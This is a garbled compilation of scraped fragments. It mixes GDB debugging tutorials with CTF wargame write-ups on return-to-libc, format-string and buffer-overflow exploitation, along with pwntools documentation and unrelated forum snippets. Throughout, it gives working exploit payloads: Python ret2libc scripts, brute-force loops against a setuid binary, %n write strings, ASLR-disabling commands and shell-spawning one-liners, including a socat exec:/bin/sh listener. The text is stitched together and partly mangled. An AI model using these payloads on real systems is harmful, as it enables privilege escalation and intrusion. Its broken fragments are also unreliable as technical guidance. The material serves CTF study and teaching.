Gdb find /bin/sh

printf ("%6`\ d:raw-latex:`\n`", 6, 5, 4,3, 2, 1); Prints ‘1’, because the ‘6$’ explicitly addresses the 6th parameter on the stack.for i in `seq 1 5`; do ldd ovrflw | grep libc; done libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb762f000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb758f000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ae000) However, if we notice the libc address in not changing much, first three characters and last three characters remain the same. Because, the machine we are doing would be probably a CTF machine, so we can brute-force the possible libc address. It is suggested to figure out the offset of system, exit and string “/bin/sh” from the libc base address. Remember,

The target program that I’ve chosen doesn’t explicitly use system(), therefore one cannot find its address using print 'system@plt'. (I'll write about PLT - Procedure Linkage Table - and GOT - Global Offsets Table - in the coming posts.) We'll have to print the address of system() at run-time.So you’re printing your parameters, a buffer, the address of libc? Another buffer and then the address of system?readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system 246: 00113d70 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0 628: 0003ab40 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE 1461: 0003ab40 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0 Exit function

Request: Implement gdb-peda's find or searchmem #2

what is radare2's equivalent to GDB's 'find &system,+9999999,/bin/sh

kr@k3n@ubuntu:~/target$ echo “0” | sudo dd of=/proc/sys/kernel/randomize_va_space0+1 records in0+1 records out2 bytes copied, 0.000160017 s, 12.5 kB/s$> (python -c 'print("\xef\xbe\xad\xde")'; cat) | ./program Or, finally, if you are going through the network:

ROP (Return Oriented Programming) - The - Zolmeister - by Zoli Kaha

  1. When you get a binary for exploitation, we need to find whether it is 32-bit or 64-bit ELF, which platform it is running, whether any buffer overflow prevention techniques has been used, what is EIP offset.
  2. (gdb) run `python -c 'print "A"*20 + "\x28\xd8\xff\xff" + "A"*12 + "\xd4\xd8\xff\xff"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /games/narnia/narnia8 `python -c 'print "A"*20 + "\x28\xd8\xff\xff" + "A"*12 + "\xd4\xd8\xff\xff"'` Breakpoint 1, 0x080484a7 in func () (gdb) c Continuing. AAAAAAAAAAAAAAAAAAAA(���AAAAAAAAAAAA����(��� process 19900 is executing new program: /bin/dash Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. Error in re-setting breakpoint 1: No symbol "func" in current context. Error in re-setting breakpoint 1: No symbol "func" in current context. Error in re-setting breakpoint 1: No symbol "func" in current context. $ Trying this without gdb didn’t work because the address of character array changes
  3. To print lines from a source file, use the list command (abbreviated l). By default, ten lines are printed. There are several ways to specify what part of the file you want to print.
  4. GDB is meant to be a source-level debugger for high level languages and isn't very good at debugging assembly. So various tricks are required to get adequate results. The OS/161 toolchain tells the assembler to emit line number information for assembly files, but as noted above (under list) you..
  5. echo 0 > /proc/sys/kernel/randomize_va_space Then, we run our payload. You will see that we got a shell.
  6. gdb rop3 (gdb) break main (gdb) run (gdb) print system $1 = {<text variable, no debug info>} 0xf7e68250 <system> Alright, system is at 0xf7e68250, which in escaped little endian looks like: \x50\x82\xe6\xf7.
  7. # gdb --pid Start GDB and attach to process. set args Set arguments to pass to program to be debugged

0xffffd670: 0x08048580 0xffffd688 0x00000014 0xf7e54f53 0xffffd680: 0x00000000 0x00ca0000 0x41414141 0x41414141 0xffffd690: 0x41414141 0x41414141 0x00414141 0xffffd8b1 0xffffd6a0: 0x00000002 0xffffd764 0xffffd6c8 0x080484cd 0xffffd6b0: 0xffffd8b1 0xf7ffd000 0x080484fb 0xf7fca000 Address 0xffffd689 marks the start of the character buffer bok. I entered 19 A so it’s 0x41 19 times followed by null 0x00. Followed by that is 0xffffd8b1 (Value of Blah pointer). Followed by fp 12 bytes <0x00000002 0xffffd764 0xffffd6c8>. Followed by 0x080484cd which is the return address Command 'python' not found, but can be installed with: sudo apt install python3 sudo apt install python sudo apt install python-minimal. The reason our Ansible failed even though python3 is installed is because Ansible still tries to use Python 2 (/usr/bin/python) by default

I’ll be using gdb as my debugger of choice. You're free to use any debugger according to your comfort level. Run cargo init --bin test && cd test then modify the src/main.rs file to have to have the following Let's scaffold out a super basic application to test our debugging on before we get on to any real experimentation. We'll run cargo init --bin example and set src/main.rs t #include <stdio.h> char name[64] = {0}; int main() { code_snippet } Or dynamically allocated on the heap like/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x64413764 We can see that the buffer size is 112.

Immediately after system() is called, the stack frame is expected to contain the return address and the argument to system(). To find the sources GDB parses .debug_info section to find all DIEs with tag DW_TAG_compile_unit. The DIE with this tag has 2 main attributes DW_AT_comp_dir (compilation GDB uses debug info stored in DWARF format to find source level info. DWARF is pretty straightforward format - basically..

GDB online is online compiler and debugger tool for C/C++ language. You can compile with gcc/g++ and can debug using gdb. In interactive console mode, you can run as long as program is finished or until we find user inactivity for longer than 15 mins HOB:0x0804 LOB:0x8706 If HOB < LOB [addr+2][addr] = \x4e\xd\xff\xff\x4c\xd\xff\xff %.[HOB - 8]x = 0x804 - 8 = 7FC (2044) = %.2044x %[offset]$hn = %6\$hn %.[LOB - HOB]x = 0x8706 - 0x804 = 7F02 (32514) = %.32514x %[offset+1]`\ hn = %7$hn python -c 'print "\x4e\xd6\xff\xff\x4c\xd6\xff\xff" +"%.2044x%6\$hn %.32514x%7\$hn"' Shared Library¶ A library whose code segment can be shared among multiple processes and whose data segment is unique to each process is called a Shared Library, thereby saving huge amount of RAM and disk space. Shared library is also referred using other names like dynamic library, shared object files, DSO and DLL(Windows). Gdb lets you see the internal structure of a program, print out variable values, set breakpoints and single step through source code. It makes an extremely powerful tool for fixing problems in program code. In this article I'll try to show how cool and useful gdb is

system("/bin/sh"); to get a shell. We may also refer Linux x86 Program Start Up or - How the heck do we get to main()? to understand what happens when we execute a linux binary (shared not static).export EGG=`python -c 'print "\xCC"'` It should sigtrap. “xCC” acts as a software breakpoint, basically an INT3, It tells you whether your shellcode is stored properly & executed, if the program receives SIGTRAP, you know you’re good to go, and it’s a good way to make sure you’ve properly redirected execution to your shellcode. You can further put “xCC” anywhere in the shellcode, if it crashes before “xCC”, you know for sure that your shellcode has bad characters. They suggested to export the EGG variable as So I follow the instructions on the wiki I skip the mount -o rw,remount..blah bah command because I read that the simple adb remount is the best way before you actually open the adb shell. When I type cat /system/bin/sh > /system/bin/su it.. I run the following commands: > gdb > gdb main. and the result is. gdb: command not found. The most important is the presence in the /usr/bin/gdb directory where all executes files are present. If the o/p of whereis -b gdb returns null, u need to install gdb

Bin runs normally when called from a terminal. When clicking Execute the following message returns in a new terminal window: Unable to find a shell Also, the geany_run_script.sh is created, as it should There is the ‘%n’ parameter, which writes the number of bytes already printed, into a variable of our choice. The address of the variable is given to the format function by placing an integer pointer as parameter onto the stack. But if we supply a correct mapped and writeable address this works and we overwrite four bytes (sizeof (int)) at the address:

Eclipse with GDB is great: it comes with a graphical front end for debugging. But sometimes it is all about to download a program. Is it really necessary to launch an IDE like Eclipse to program or quickly debug a board? With the GNU Debugger (GDB), the answer is 'no': GDB comes with a comman gcc -ggdb -m32 -fno-stack-protector -z execstack -o buffer1 buffer1.c Address Space Layout Randomization (ASLR) controlled by /proc/sys/kernel/randomize_va_space. Three Values: 0 : Disable ASLR. This setting is applied if the kernel is booted with the norandmaps boot parameter. 1 : Randomize the positions of the stack, virtual dynamic shared object (VDSO) page, and shared memory regions. The base address of the data segment is located immediately after the end of the executable code segment. 2 : Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. This is the default setting. You can change the setting temporarily by writing a new value to /proc/sys/kernel/randomize_va_space, for example:After the 4 bytes of garbage will come the parameter to function system. In this case it’s a string, which we found earlier! so fill it in here (for me it was 0xffff3d28) : "\x28\x3d\xff\xff".void hello () { static char hello[] = "hello-hello"; static struct { char c; short s; int i; } __attribute__ ((packed)) mixed = { 'c', 0x1234, 0x87654321 }; printf ("%s\n", hello); } you get during debugging:

narnia6@melinda:/narnia$ ./narnia6 `python -c 'print "A"*8 + "\x40\x1c\xe6\xf7" + " " + "C"*8 + "/bin/sh"'` $ cat /etc/narnia_pass/narnia7 Let’s see another example where we have to use a environment variable to invoke a shell Narnia8. #include <stdio.h> #include <stdlib.h> #include <string.h> // gcc's variable reordering fucked things up // to keep the level in its old style i am // making "i" global unti i find a fix // -morla int i; void func(char *b){ char *blah=b; char bok[20]; //int i=0; memset(bok, '\0', sizeof(bok)); for(i=0; blah[i] != '\0'; i++) bok[i]=blah[i]; printf("%s\n",bok); } int main(int argc, char **argv){ if(argc > 1) func(argv[1]); else printf("%s argument\n", argv[0]); return 0; } Let’s see what is happening here: for loop in function func copies data from blah to bok character array until a null character is found. Let’s see how the stack would look likeSo let’s look at some really, really vulnerable code (seriously don’t ever write stuff like this)The address of the last value found is stored in convenience variable ‘$_’. A count of the number of matches is stored in ‘$numfound’.

Debugging with GDB: Searching Memor

id uid=1796(user1792) gid=3009(rop3) groups=1797(user1792),1002(webshell) Now for ROP 4 (by writing this, I was able to then go back and solve it). gdb is the acronym for GNU Debugger. This tool helps to debug the programs written in C, C++, Ada, Fortran, etc. The console can be opened using the To start the debugger of the above gfg executable file, enter the command gdb gfg. It opens the gdb console of the current program, after printing the.. Note that the executable search path is not used to locate the source files. Neither is the current working directory, unless it happens to be in the source path.

file /home/flagXX/flagXX /home/flagXX/flagXX: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped If so, then we can create a c file to override the functions we want – random(), unlink() and getpid(): make cc -m32 -g -O0 -fno-stack-protector -o crackme0x00 crackme0x00.c -ldl /vagrant/bin/checksec.sh --file crackme0x00 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH crackme0x00 Log In Exploiting Techniques \000 - ret2libc Exploit Development IoTh1nkN0t April 3, 2017, 10:17am #1 So it’s been a while since I last wrote an article and I think it’s time for a new one. Since the straight forward smash stacking has already been covered plenty, I decided to start this serie with ret2libc.Getting the input through stdin can be achieve through a wide variety of functions such as fgets(), scanf(), getline(), read() and others. It raises a few problems because the program stop while executing and wait to be fed with characters.

We are using Kali Linux to do buffer overflow. We need install peda.py in our Kali Linux. You can click this link to learn how to install it.This causes some issues with the normal Pwntools workflow, since the process heirarchy looks like this:

Return to libc attack | FOR-BIN-SEC

Non-executable stack, ASLR Disabled¶

echo value > /proc/sys/kernel/randomize_va_space To change the value permanently, add the setting to /etc/sysctl.conf, for example: I try compiling some large code with the -g option but when I try running the code with gdb it says the emitted code contains no debugging Reading symbols from /cygdrive/c/dev/dotr/src/dotr.exe...(no debugging symbols found)... done GDB's testsuite uses the system's default gcc (and similar) compilers, not those specified on the configure line (open issue gdb?), see find_gcc (and similar) usage in the testsuite and DejaGnu. PASS: ver_matching_test.sh +FAIL: ver_matching_test.sh from subprocess import call import struct libc_addr = 0xb761f000 sys_off_addr = 0x00040310 exit_off_addr = 0x00033260 arg_off_addr = 0x00162bac sys_addr = struct.pack("<I", libc_addr+sys_off_addr) exit_addr = struct.pack("<I", libc_addr+exit_off_addr) arg_addr = struct.pack("<I", libc_addr+arg_off_addr) buf = "A" * 112 buf += sys_addr buf += exit_addr buf += arg_addr i = 0 while (i < 512): print "Try: %s" %i print buf i += i ret = call(["/usr/local/bin/ovrflw", buf]) Finally, we got the root shell. If you use GDB through its GNU Emacs interface, you may prefer to use Emacs facilities to view source; see section Using GDB under GNU Emacs.

#include <stdio.h> void say_hi(const char * name) { printf("Hello %s!\n", name); } int main(int argc, char ** argv) { char * name; if (argc != 2) { return 1; } name = argv[1]; say_hi(name); return 0; } gcc -g hello.c -o hello Put breakpoints at the call of say_hi functionAfter the rest of the stages are completed, and right before the instruction cycle is over, the state of the circuit is updated (meaning, the wires are generating values for the register file, for the next instruction etc) and once the clock is about to hit high, the clock registers, including EIP/PC will be updated.<bok character array><blah pointer><fp><ret><pointer b> Let’s confirm this by using gdb? We put an breakpoint on printf function in the func function.gcc hacking_randomfile.c -o hacking_randomfile -shared -fPIC Using gcc we’ve specified the normal input file (hacking_randomfile.c) and output file (-o hacking_randomfile), but we’ve also specified two additional options:

CTF Series : Binary Exploitation — tech

  1. gdb-peda$ pdisass 0x8049788 Dump of assembler code from 0x8049788 to 0x80497a8: 0x08049788 <printf@got.plt+0>: add DWORD PTR ss:[eax+ecx*1],0x46 0x0804978d <fgets@got.plt+1>: add DWORD PTR [eax+ecx*1],0x56 0x08049791 <puts@got.plt+1>: add DWORD PTR [eax+ecx*1],0x66 0x08049795 <__gmon_start__@got.plt+1>: add DWORD PTR [eax+ecx*1],0x76 0x08049799 <__libc_start_main@got.plt+1>: add DWORD PTR [eax+ecx*1],0x0 0x0804979d <data_start+1>: add BYTE PTR [eax],al 0x0804979f <data_start+3>: add BYTE PTR [eax],al 0x080497a1 <__dso_handle+1>: add BYTE PTR [eax],al 0x080497a3 <__dso_handle+3>: add BYTE PTR [eax],al 0x080497a5 <stdin@@GLIBC_2.0+1>: add BYTE PTR [eax],al 0x080497a7 <stdin@@GLIBC_2.0+3>: add BYTE PTR [eax],al End of assembler dump. Objdump reflects the same (notice the +1) GOT address:
  2. Notice that I’ve executed two unset env commands. The two environment variables, LINES and COLUMNS are gdb specific and do not exist in a non-gdb environment. They end up messing up the memory addresses (because they're assigned memory as well) and cause our shellcode to work only inside gdb and not outside it.
  3. It is assumed that you already understand the normal exploiting techniques, so make sure you already understand the following topics:
  4. pico1139@shell:/home/format$: env -i ./format $:`(python -c 'print "\x30\xa0\x04\x08"+"%1333u%103`\ nAA"') $ id uid=11066(pico1139) gid=1008(format) groups=1017(picogroup) $ ls Makefile flag.txt format format.c $ cat flag.txt who\_thought\_%n\_was\_a\_good\_idea? Otherwise as the address at the seventh is already present on stack we can also do
  5. printf ("%s%s%s%s%s%s%s%s%s%s%s%s"); Because ‘%s’ displays memory from an address that is supplied on the stack, where a lot of other data is stored, too, our chances are high to read from an illegal address, which is not mapped.
  6. We can’t use /proc/$pid/map since some servers forbid it. This breaks info proc in GDB, but info sharedlibrary still works. Additionally, info sharedlibrary works on FreeBSD, which may not have procfs enabled or accessible.
  7. # Attach directly to pid 1234 gdb.attach(1234) # Attach to the youngest "bash" process gdb.attach('bash') # Start a process bash = process('bash') # Attach the debugger gdb.attach(bash, ''' set follow-fork-mode child break execve continue ''') # Interact with the process bash.sendline('whoami') # Start a forking server server = process(['socat', 'tcp-listen:1234,fork,reuseaddr', 'exec:/bin/sh']) # Connect to the server io = remote('localhost', 1234) # Connect the debugger to the server-spawned process gdb.attach(io, ''' break exit continue ''') # Talk to the spawned 'sh' io.sendline('exit') # Connect to the SSH server shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) # Start a process on the server cat = shell.process(['cat']) # Attach a debugger to it gdb.attach(cat, ''' break exit continue ''') # Cause `cat` to exit cat.close() pwnlib.gdb.binary() → str[source]¶ Returns:str – Path to the appropriate gdb binary to use. Example

Return-to-libc Exploit - ka1d0 - Medium Finding the address of /bin/sh

cat <(python -c 'print "\x00"*140+"\x50\x82\xe6\xf7"+ "\x00"*4 +"\x4c\x6c\xf8\xf7"') - | ./rop3 Done!All values are interpreted in the current language. This means, for example, that if the current source language is C/C++ then searching for the string “hello” includes the trailing ’\0’. The null terminator can be removed from searching by using casts, e.g.: ‘{char[5]}"hello"’. for(i=0; blah[i] != '\0'; i++) It now copies the character from 0xffffd890 reference i.e 0xffffd890 + i value. Suppose it copied the character 0x41. The address becomes 0xffff4190 and now for loop searches from that address until a null character is found.

So to get the adress of system, we will be using gdb, for the length of the buffer we will just mess around a bit until we find it (use gdb or something like that) It's probably at 260 anyway and for the You can find /bin/sh in libc actually. Since ASLR is off, you can do the following to calculate its offset For example, we can use info line to discover the location of the object code for the first line of function m4_changequote:

Debugging with gdb - Examining Source File

Well as you can see we’ve now exploited a trivial program. Ofcourse you’d probably never encounter a program compiled with these flags, but that was not the point here. The reason this won’t work nowadays are two techniques used in almost every compiler / OS nowadays: GDB will give you some tasty information now - in your command prompt, you should see the old value and new value of coins. You'll also be given the real GDB is not attaching when I use the app binary name - why? Using the binary name doesn't always work. To get the processor ID, quit GDB by.. # `python -c 'print "A"*20 + "\x90\x90\x90\x90" + "A"*12 + "BBBB"'` Let’s see what happens when we do this. After copying 20 A it copies x90 and makes blah pointer from 0xffffd8bf to 0xffffd890. Because of the for loopThis article will show you that how to attack C program by using buffer overflow and return to Libc method to pop a bash shell.

Get System, exit and /bin/sh addresses - Sp

1461: 0003ab40 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0 141: 0002e7f0 33 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0 15cdc8 /bin/sh Creation of exploit¶ Now, when we have the offset, let’s take a sample libc address and create the exploit Getting started with GDB. GDB, the GNU Debugger, is a free software portable debugger that supports multiple languages including C, C++, Go, Fortran and Java. If it doesn't come as part of your GNU/Linux distro, you can install the package gdb from its official repository. Windows users will have to rely on.. With the help of a hardware unit, let’s call it instruction memory, the instruction bytes are fetched from the memory being pointed by EIP. During that stage, it computes the address of the next instruction (and a bunch of other stuff as well), let’s call it valNextAddr, which will be the addition between the current instruction offset and its size, aka EIP + sizeof(fetched_instruction). It’s important to note that this calculation is done before the completion of the instruction. That valNextAddr is being generated as a signal through the combination logic. This is a very brief introduction into compiling ARM binaries and basic debugging with GDB. As you follow the tutorials, you might want to follow along and experiment with ARM assembly on your own. Personally, I prefer using GEF as a GDB extension. It gives me a better overview and useful features Binaries, or executables, are machine code for a computer to execute. For the most part, the binaries that you will face in CTFs are Linux ELF files or the occasional windows executable. Binary Exploitation is a broad topic within Cyber Security which really comes down to finding a vulnerability in the program and exploiting it to gain control of a shell or modifying the program’s functions.

Exploiting Techniques \000 - ret2libc - Exploit Development - 0x00sec

The buffer overflow and resulting arbitrary code execution occurs on the process stack. The function of DEP is to prevent execution on the stack. Simple enough? Well, it IS simple but not sufficient to stop an attacker.1337_P455W0RD 1337_P455W0RD\0aa\x7f\x87\x04\x08 aa\x7f\x87\x04\x08 We use this in the command line to get the flagThe debugger is attached automatically, and you can debug everything from the very beginning. This requires that both gdb and gdbserver are installed on your machine.It’s better to use /bin/sh instead of /bin/bash since bash drops privs. If /bin/bash is used, it will launch /bin/bash but you’ll find that you haven’t elevated your privileges and this can get confusing. so either find another string that points to /bin/sh or set your own env variable like DASH=/bin/sh and reference that. Good paper to review is Bypassing non-executable-stack during Exploitation (return-to-libc) and Performing a ret2libc Attack

The hex codes — \x94 , \xbf\xff\xea\x68 , and \xzz were placed because of the program implementation restrictions. They are completely unrelated to the principle of return-to-libc exploit. You don't have to worry about them; you can replace them with random hex codes.You should pass the pointer to /bin/sh. How are you calculating sh’s address on the stack? If you’re using gdb to find that out, then that’s your mistake. The stack alignment/padding inside and outside of gdb is different (environment variables etc). That being said, you can either use pwntools as I said in order to attach to the process and calculate the address properly, or do it the proper way which is via libc, which is why 0xffffd144 didn’t look like libc to me. You can find /bin/sh in libc actually. Since ASLR is off, you can do the following to calculate its offset.behemoth3@melinda:/tmp/rahul3$ echo `python -c 'print "A"*4 + ".%08x"*7'` | ./behemoth3 Identify yourself: Welcome, AAAA.000000c8.f7fcac20.00000000.00000000.f7ffd000.41414141.3830252e aaaand goodbye again. Trying simple format string provided us with the offset of our format string. Now we can write almost any address with any value with our input. Before that let’s put a environment variable shellcode and check it’s address:Let’s start with some basic concepts and then we would see some examples which would help to clear the concepts.The NOP sled is going to stretch from the start of the buffer until the start of the return address. It must be noted here that any random character can be used instead of NOPs; you don’t need to use a NOP specifically. NOPs are especially useful when the flow is returned to them causing the CPU to slide all the way to the shellcode.

pwnlib.gdb — Working with GDB — pwntools 4.0.1 documentatio

ShellCheck is an open source static analysis tool that automatically finds bugs in your shell scripts. #!/bin/sh ## Example: a typical script with several problems for f in $(ls *.m3u) do grep -qi hq.*mp3 $f ShellCheck. finds bugs in your shell scripts. You can cabal, apt, dnf, pkg or brew install it locally.. In 32-bit binaries on Linux, function arguments are passed in on the stack in reverse order. A function like this:export EXPLOIT="/home2/user1792/rop4s.sh" /* printer.c */ #include <stdio.h> #include <stdlib.h> int main(int argc, char **argv) { printf("\n%p\n\n", getenv("EXPLOIT")); return(0); } Running that we get: 0xffffd830 as our address. Alright, lets use that instead of our 3rd "/bin/sh": (overflow) (execlp) (fake return) ("/bin/sh")(two times) (EXPLOIT address) (null)$ ./flagXX -h Usage: php [options] [-f] <file> [--] [args...] php [options] -r <code> [--] [args...] Binary Protection¶ Multiple Buffer overflow prevention techniques such as RELRO, NoExecute (NX), Stack Canaries, Address Space Layout Randomization (ASLR) and Position Independent Executables (PIE).

Set up environment with the envsetup.sh command. The script sets up port forwarding, starts the appropriate gdbserver on the device, starts the appropriate gdb on the host, configures gdb to find symbols adb shell gdbserver64 :5039 /system/bin/MY_TEST_64_BIT_APP. For a 32-bit executabl by the way,find a thread about debug andriod so file with ida http Could not set the shlib bpt, shared object events will not be handled B0001000: loaded /system/bin/linker 8000: process only don't stop tool long,in the time i write ,os kill update app for time out. this is gdb debug server in android ndk r8c.. 关于-/bin/sh: 命令:not found的解决办法. sh: 1: 7zr: not found问题. 09-25 阅读数 2600. 貌似Ubuntu默认不能解压.7z文件7-Zip 是基于 GNU LGPL 之下发布的软件可以在网上下载一个7-zip,其软件包名为p7zip命令如下:sudo apt-get install p7z... 博文 来自: 瑜

linux - How to know if gdb is installed? - Super Use

  1. Humans make mistakes. Some of these mistakes may end up being part of your OS. Since bugs are more difficult to find than to fix, this page provides a list of common techniques that can be used to isolate bugs in your OS
  2. readIn the previous post, we had a look at a basic, yet widespread vulnerability — Integer Overflow. We got a feel for how dangerous such simple program
  3. The shellcode that I had to construct for my target is a little complicated because of certain “lucky” restrictions in the program implementation. Here’s the shell code that I had to use:
  4. >>> (7,0) <= gdb.version() <= (9,0) True Next Previous © Copyright 2016, Gallopsled et al. Revision 3d4853f9.
  5. kr@k3n@ubuntu:~/target$ python3 addr.pyTrying: \x00Segmentation fault (core dumped)35584Trying: \x01Segmentation fault (core dumped)35584
  6. How do I ensure that /bin/sh is properly liked to bash? To be honest I don't exactly understand the point of this (something to do with how scripts execute in each shell?) and never really think about inodes. Maybe this will give additional inf
  7. for i in {1..256};do echo -n "Offset: $i:"; env -i ./format AAAA%$i\$x;echo ;done | grep 4141 What this is doing is “Extracting particular stack content by “%$i$x”. As we have seen in DMA, $x can be used to extract particular stack content and reading it. $i value changes from 1-256. However, as you add more data, the offset of your original input changes, so go ahead and add 1333 more bytes of data and see what the offset is then. (1337 is what we want to put into secret, and we will have written four bytes (AAAA), so 1333+4 = 1337)

Non-Executable Stack, ASLR Enabled¶

/usr/share/framework2/msfelfscan -f stack7 Usage: /usr/share/framework2/msfelfscan <input> <mode> <options> Inputs: -f <file> Read in ELF file Modes: -j <reg> Search for jump equivalent instructions -s Search for pop+pop+ret combinations -x <regex> Search for regex match -a <address> Show code at specified virtual address Options: -A <count> Number of bytes to show after match -B <count> Number of bytes to show before match -I address Specify an alternate base load address -n Print disassembly of matched data We can use msfelfscan to get pop-pop-retun, choose that address and useprintf ("AAA0AAA1_%08x.%08x.%08x.%08x.%08x"); The ‘%08x’ parameters increase the internal stack pointer of the format function towards the top of the stack. After more or less of this increasing parameters the stack pointer points into our memory: the format string itself. The format function always maintains the lowest stack frame, so if our buffer lies on the stack at all, it lies above the current stack pointer for sure. If we choose the number of ‘%08x’ parameters correctly, we could just display memory from an arbitrary address, by appending ‘%s’ to our string. In our case the address is illegal and would be ‘AAA0’. Lets replace it with a real one. Example:

pdisass main Examining Memory¶ We can use the command x (for “examine”) to examine memory in any of several formats, independently of your program’s data types. GDB , Copyright 1995 Free Software Foundation, Inc... (gdb). GDB reads only enough symbol data to know where to find the rest when needed; as Otherwise GDB uses /bin/sh. The utility make is often needed in development environments. You do not have to use the shell command for this purpose in.. (gdb) run arg1 arg2. If application is already running, find out its pid (ps, top, pidof,) and: $ gdb --pid $PID. Tips. Run crosscompiled gdb on host (<gcc_toolchain_path>/bin/arm-none-linux-gnueabi-gdb Issue the following commands (multiprocess example

Behaviour of the format function¶

In computer architecture, the stack is a hardware manifestation of the stack data structure (a Last In, First Out queue).I’m away currently, but from a really quick look it looks like once you overflow the buffer up until the return address, you’ve entered system’s address, which is correct and then you place sh’s address on top of it, which is wrong. Then you place 0xffffd144 (no idea what that address is, but it’s definitely not a /bin/sh address), which is where sh’s address should be placed.

Exploit Development: How to Defeat a Non-Executable Stack

64-bit Linux stack smashing tutorial: Part 2 - Techorganic - Musings

narnia8@melinda:/narnia$ ./narnia8 `python -c 'print "A"*20 + "\x28\xd8\xff\xff" + "B"*12 + "\xd4\xd8\xff\xff"'` AAAAAAAAAAAAAAAAAAAA(A�� narnia8@melinda:/narnia$ ./narnia8 `python -c 'print "A"*20 + "\x28\xd8\xff\xff" + "B"*12 + "\xd4\xd8\xff\xff"'` | hexdump 0000000 4141 4141 4141 4141 4141 4141 4141 4141 0000010 4141 4141 4128 ffff 0a02 000001a Changing 28 to 0a just by chance gave me the correct address to be pointed at (gdb) next 18 double xpow=1; (gdb) n 20 for (int k = 0; k <= n; k++) { (gdb) 21 seriesValue += xpow / ComputeFactorial(k) ; (gdb) s ComputeFactorial (number=0) at broken.cpp:7 7 int fact=0; Here we use the next command, which is similar to step except it will step over (instead of into) functions So now let’s exploit this program to spawn a shell. The function we’ll be using is in libc and you might have used it once or twice: system() System is nice, because it takes only one argument, a string being the command you which to execute (for more info man 3 system ) import struct system_addr = struct.pack("<I", 0xf7e3f310) arg_addr = struct.pack("<I", 0xf7f61bac) exit_addr = struct.pack("<I", 0xf7e0d1db) buf = "A" * 112 buf += system_addr buf += exit_addr buf += arg_addr print buf As I mentioned, ALSA is open. We need temporary close it by using:

Debugging with GDB - Running Programs Under GDB

Crashing the Program¶

Below is a table of GDB commands with the LLDB counterparts. The built in GDB-compatibility aliases in LLDB are also listed. The full lldb command names are often long, but any unique short form can be used. Instead of breakpoint set, br se is also acceptable (gdb) break main (gdb) run (gdb) print &system $1 = (<text variable, no debug info> *) 0xf7e68250 <system> (gdb) find &system,+9999999,"/bin/sh" 0xf7f86c4c warning: Unable to access target memory at 0xf7fd0fd4, halting search. 1 pattern found. Now we have the string "/bin/sh" at 0xf7f86c4c. Lets finish constructing our exploit string: (overflow) (<system>) (fake return address) ("/bin/sh" from libc)

How to point GDB to your sources There is no magic her

Useful GDB script for better visualization. Invocation inside GDB. Reflashing BMP back STLink v2 (possibly may work with v2.1). First flash the sllogiclogger.bin image onto Stellaris you'll use for measurement. Find the GDB manual and other documentation resources online at: <http.. In information security and programming, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory locations. By continuing or stepping through you could have found that the issue is because we have not used the <= in the 'for loop' condition checking. So changing that from < to <= will solve the issue. gdb command shortcuts First of all, it’s 2017, let me introduce you to pwntools! There is no need to hardcode your exploit in an one-liner. (gdb) break main (gdb) run (gdb) print execlp $1 = {<text variable, no debug info>} 0x8053ab0 <execlp> (gdb) find &execlp,+999999999,"/bin/sh" 0x80cbf4f (gdb) print &null $3 = (<data variable, no debug info> *) 0x80c97a1 (gdb) x/s 0x80c97a1 0x80c97a1 <null>: "(null)" Alright, lets try it:

Video: bash - Putting some lines in a script to execute them in gdb - Ask Ubunt

Video: 8 gdb tricks you should know Oracle Linux Blo

int getrand(char **path) { char *tmp; int pid; int fd; srandom(time(NULL)); tmp = getenv("TEMP"); pid = getpid(); asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26), 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26)); fd = open(*path, O_CREAT|O_RDWR, 0600); unlink(*path); return fd; } If we see the above function, getpid figures out the PID of the program, unlink deletes the file and random provides a random number.To attach to an existing process, just use attach(). It is surprisingly versatile, and can attach to a process for simple binaries, or will automatically find the correct process to attach to for a forking server, if given a remote object.Now comes the return adress, this is what ret2libc makes ret2libc. fill in the adress of system which you obtained earlier. Let’s assume it’s 0xf7e503e0 so after the a’s will come: "\xe0\x03\xe5\xf7" This will make the function return into the start of the function system. (gdb) disas 0x32c4 0x32e4 Dump of assembler code from 0x32c4 to 0x32e4: 0x32c4 <main+204>: addil 0,dp 0x32c8 <main+208>: ldw 0x22c(sr0,r1),r26 0x32cc <main+212>: ldil 0x3000,r31 0x32d0 <main+216>: ble 0x3f8(sr4,r31) 0x32d4 <main+220>: ldo 0(r31),rp 0x32d8 <main+224>: addil -0x800,dp 0x32dc <main+228>: ldo 0x588(r1),r26 0x32e0 <main+232>: ldil 0x3000,r31 End of assembler dump. Some architectures have more than one commonly-used set of instruction mnemonics or other syntax. To edit the lines in a source file, use the edit command. The editing program of your choice is invoked with the current line set to the active line in the program. Alternatively, there are several ways to specify what part of the file you want to print if you want to see other parts of the program.

Viewing Memory at any location¶

The gdb server binary, gdbserver, has now been installed in your ${TARGET_PREFIX}/bin directory. The dynamically linked gdbserver is 25 KB in size when stripped. Compared to gdb, the size of gdbserver is much more palatable Though I’m familiar with that exploitation technique, I feel like the post could be way more juicy to those who haven’t got around it if there were snippets of the PoC (i.e how the memory looks like right before the system()'s call and much more).

